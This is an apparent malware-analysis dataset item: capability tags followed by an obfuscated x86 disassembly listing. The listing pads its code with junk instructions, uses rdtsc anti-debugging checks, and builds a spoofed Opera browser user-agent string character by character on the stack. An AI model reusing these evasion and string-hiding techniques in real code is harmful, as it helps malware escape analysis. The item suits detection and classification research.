Function at 0x6143ad
Capabilities:
Check http status code
Encode data using base64
Execute anti-debugging instructions
Write file on windows

Disassembly:
mov ecx, 0x6f
shrd eax, esp, 0x38
bts edx, ebp
bsf ax, dx
mov word [ebp - 0x1dba], cx
or dx, 0x2583
mov edx, 0x2f
mov word [ebp - 0x1db8], dx
mov eax, 0x32
cdq
shl ch, cl
btc edx, edi
mov word [ebp - 0x1db6], ax
shr dh, cl
cwd
bswap ecx
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
cmp ah, 0x2f
mov edx, eax
mov word [ebp - 0x1db2], dx
movzx edx, ax
mov eax, ecx
sub cx, 0xb78d
mov word [ebp - 0x1db0], ax
mov ecx, 0x31
mov word [ebp - 0x1dae], cx
mov edx, 0x35
mov word [ebp - 0x1dac], dx
rcl dh, cl
test dx, 0x428b
mov eax, 0x20
mov word [ebp - 0x1daa], ax
rol ah, 0xc
rcl cl, cl
mov ecx, 0x56
rcr edx, 0xb
mov word [ebp - 0x1da8], cx
mov edx, 0x6f293b3b
shr dl, 0xa9
mov edx, 0x65
mov word [ebp - 0x1da6], dx
bsf dx, sp
mov eax, 0x72
sal ecx, cl
btr ecx, 0x11
cmc
mov word [ebp - 0x1da4], ax
shr ch, cl
btr cx, sp
mov ecx, 0x73
mov word [ebp - 0x1da2], cx
shr al, 0xbd
or ah, al
movzx dx, bh
mov edx, 0x69
or eax, esi
movzx ecx, bp
mov word [ebp - 0x1da0], dx
btc ax, bx
mov eax, 0x6f
cdq
mov word [ebp - 0x1d9e], ax
rcr dx, cl
bsf ax, dx
mov ecx, 0x6e
sub edx, ebp
rol ax, 0x96
mov edx, esp
mov word [ebp - 0x1d9c], cx
mov edx, 0x2f
shr ah, cl
ror cx, cl
dec al
mov word [ebp - 0x1d9a], dx
shl eax, 0x31
bts eax, eax
mov eax, 0x31
sar dh, 0x2f
mov word [ebp - 0x1d98], ax
clc
mov ecx, 0x30
rol ax, 0x80
cmp esi, edx
mov word [ebp - 0x1d96], cx
mov edx, 0x2e
sbb eax, 0x13cb813
mov word [ebp - 0x1d94], dx
xor al, 0x2f
sar ah, 3
sbb al, 1
mov eax, ecx
jmp 0x546d0a
mov word [ebp - 0x1d92], ax
mov word [ebp - 0x1d90], cx
btr ax, dx
sub edx, edx
cmove ax, di
xchg ah, al
movzx ax, cl
mov word [ebp - 0x1d8e], dx
bswap eax
push 0x16c
lahf
cwde
push edx
lea eax, [ebp - 0x1d8c]
jmp loc.00426034
mov dword [ebp - 0x1c], eax
jmp 0x633cef
call fcn.0061396d
test eax, eax
jmp 0x5b5cf4
push ebp
mov ebp, esp
push 0xfffffffffffffffe
sar eax, cl
sbb ah, dl
btc eax, edx
push 0x587ebc
sar ah, cl
btc eax, edi
btc ax, 0xba
push 0x457dc0
cmp eax, esi
mov eax, dword fs:[0]
push eax
add eax, edi
sub eax, 0xa2be079f
sub esp, 8
cmovle eax, edi
jmp 0x5fc93d
je 0x5cd36f
mov ecx, 0x4f
btc eax, esi
mov word [ebp - 0x1e20], cx
rcr ax, cl
and ecx, edx
mov edx, 0x70
sub eax, 0x2e8b00bd
rcr ah, 0x34
mov word [ebp - 0x1e1e], dx
cmovae ax, di
mov eax, 0x65
mov cl, bl
sub dl, 0x94
bswap cx
mov word [ebp - 0x1e1c], ax
shrd ax, bp, 0x93
bts edx, ebx
movzx edx, di
mov ecx, 0x72
ror al, 0xa4
xor ax, 0xa0ba
mov word [ebp - 0x1e1a], cx
cmovae ecx, edi
mov edx, 0x61
lahf
bt ax, 0x8e
mov ah, 0x39
mov word [ebp - 0x1e18], dx
add ch, bh
xor cl, al
mov eax, 0x2f
mov word [ebp - 0x1e16], ax
mov ecx, 0x39
shr dx, cl
and ax, sp
movzx edx, si
mov word [ebp - 0x1e14], cx
rcl ch, 0xb9
cmp esp, 0x8b94bd87
sbb cx, 0xce87
mov edx, 0x2e
sub cl, 0x9b
sal eax, 0x36
mov word [ebp - 0x1e12], dx
rol ecx, 0x1d
mov eax, 0x38
sub dx, di
sar cx, 0xb7
mov word [ebp - 0x1e10], ax
cmp ecx, ebx
xchg cx, ax
mov ecx, 0x30
shl edx, cl
add dl, al
sub ax, 0x4a8b
mov word [ebp - 0x1e0e], cx
shl cx, cl
mov edx, 0x20
bt eax, 0x96
mov word [ebp - 0x1e0c], dx
mov eax, 0x28
adc edx, ebp
mov word [ebp - 0x1e0a], ax
bsr dx, bp
jmp 0x5d6a83
sub eax, eax
mov bl, 0x92
mov ecx, dword [ebp - 0x10]
dec bh
shr si, 0xbd
mov dword fs:[0], ecx
cmovo bx, di
and esi, eax
pop ecx
cmovs di, bx
ror bx, 8
pop edi
xchg bh, cl
pop esi
inc ch
sbb cx, di
btc ecx, esi
pop ebx
mov ecx, dword [ebp - 0x1c]
cmp di, 0xa09f
clc
xor ecx, ebp
call fcn.00452ac1
mov esp, ebp
pop ebp
jmp 0x610f02
mov ecx, 0x4d
rcl ax, cl
mov word [ebp - 0x1e08], cx
stc
mov edx, 0x61
sal cx, cl
ror ch, cl
mov word [ebp - 0x1e06], dx
btc edx, 0xbf
sub edx, ebp
mov eax, 0x63
cmovl ecx, ebx
shr cl, cl
mov word [ebp - 0x1e04], ax
xor ecx, 0xeb91ec3d
rol dl, 0x99
cbw
mov ecx, 0x69
rcl al, 0x3e
sub ah, 0x98
mov word [ebp - 0x1e02], cx
movzx ecx, dx
lahf
mov edx, 0x6e
xor ecx, esi
mov word [ebp - 0x1e00], dx
xchg ecx, eax
inc ecx
mov eax, 0x74
xor cl, 0x2d
mov word [ebp - 0x1dfe], ax
mov ecx, 0x6f
or ax, di
shld edx, edi, 0xbb
mov word [ebp - 0x1dfc], cx
xor dh, 0xb7
mov edx, 0x73
mov word [ebp - 0x1dfa], dx
add edx, ecx
xor ax, 0x11b8
or ax, sp
mov eax, 0x68
mov word [ebp - 0x1df8], ax
mov dl, 0x8c
test di, dx
lahf
mov ecx, 0x3b
movsx eax, si
sbb al, cl
mov word [ebp - 0x1df6], cx
mov edx, 0x20
shl ax, 0x9d
ror ah, cl
not al
mov word [ebp - 0x1df4], dx
rol ah, cl
btr dx, 0xa9
mov eax, 0x49
sub ecx, esp
clc
mov word [ebp - 0x1df2], ax
shl al, cl
shrd ecx, ebp, 0x84
mov ecx, 0x6e
bt dx, 0x24
mov word [ebp - 0x1df0], cx
rol al, 0x26
bt ax, bp
bts ecx, ebp
mov edx, 0x74
mov word [ebp - 0x1dee], dx
sub edx, esi
add cx, 0x3a
mov eax, 0x65
stc
or cx, 0x2d3a
mov word [ebp - 0x1dec], ax
mov ecx, 0x6c
rol dl, 0xc
mov word [ebp - 0x1dea], cx
btr eax, 3
or cl, 0x9b
rol al, 0x81
mov edx, 0x20
bts eax, edi
mov word [ebp - 0x1de8], dx
rdtsc
mov eax, 0x4d
mov word [ebp - 0x1de6], ax
rcr dl, cl
mov ecx, 0x61
add eax, esi
mov word [ebp - 0x1de4], cx
sar ax, 0xb7
mov edx, 0x63
rol ah, cl
mov word [ebp - 0x1de2], dx
rcr cl, cl
shr edx, cl
inc eax
mov eax, 0x20
ror dx, cl
mov word [ebp - 0x1de0], ax
mov ecx, 0x4f
mov word [ebp - 0x1dde], cx
shr cl, 0x11
mov edx, 0x53
rcr cl, cl
movzx ecx, si
rol ecx, cl
mov word [ebp - 0x1ddc], dx
ror dl, cl
inc ch
mov word [ebp - 0x1dda], ax
rcr ecx, cl
btr edx, ebx
mov ecx, 0x58
xor dx, 0x8896
sbb dx, bp
movsx dx, ah
mov word [ebp - 0x1dd8], cx
mov edx, 0x3b
shl cl, 0x9f
setle cl
bswap cx
mov word [ebp - 0x1dd6], dx
mov word [ebp - 0x1dd4], ax
stc
clc
shr ch, cl
mov ecx, 0x55
jmp 0x5f3bf9
mov word [ebp - 0x1dd2], cx
mov word [ebp - 0x1dd0], dx
sub edx, 0xc8be7837
rcl dl, cl
mov word [ebp - 0x1dce], ax
mov ecx, 0x65
ror dx, 9
mov word [ebp - 0x1dcc], cx
rcl al, cl
cmc
mov edx, 0x6e
sal ah, 0x8b
and ecx, 0x630dc32e
mov word [ebp - 0x1dca], dx
mov eax, 0x29
cmp edi, 0xbc826916
mov word [ebp - 0x1dc8], ax
mov ecx, 0x20
neg dl
mov word [ebp - 0x1dc6], cx
shr edx, cl
mov edx, 0x50
mov word [ebp - 0x1dc4], dx
cmc
lahf
bt edx, ecx
mov eax, 0x72
and cx, 0x5fac
mov word [ebp - 0x1dc2], ax
rdtsc
mov ecx, 0x65
xor dx, cx
mov word [ebp - 0x1dc0], cx
mov edx, 0x73
xor cx, cx
btr cx, dx
mov word [ebp - 0x1dbe], dx
cmc
cwde
btr dx, ax
mov eax, 0x74
mov word [ebp - 0x1dbc], ax
cmp ebp, 0x3e10278f
btc eax, 9
jmp 0x53e440
mov eax, 0x1e50
jmp 0x6143ad
push eax
jmp 0x55a929
ret
call fcn.00458a70
mov eax, dword [0x4fe628]
cmc
xor dword [ebp - 8], eax
clc
xor eax, ebp
jmp 0x557850
push ebx
mov ebx, 0x323bcf86
push esi
xchg si, si
push edi
mov esi, 0x6c21c125
push eax
bswap esi
cmovne si, si
lea eax, [ebp - 0x10]
not bh
movzx ebx, bx
cmovae si, sp
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, dword [ebp + 8]
not al
mov ax, 0xfdaa
nop
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1e40], eax
xchg esi, esi
mov ax, si
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
setp al
mov dword [ebp - 0x1e30], esi
lahf
not ax
nop
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp + 0x14]
not dh
mov dword [ebp - 0x1e28], eax
mov dx, sp
bswap cx
mov ecx, dword [ebp + 0x18]
movzx eax, cx
mov dword [ebp - 0x1e58], ecx
bswap ax
rdtsc
mov edx, dword [ebp + 0x1c]
setge al
mov dword [ebp - 0x1e5c], edx
movsx eax, bp
bswap ax
mov dword [esi], 0
push 0
cwde
cbw
mov eax, dword [0x509eb8]
jmp 0x605485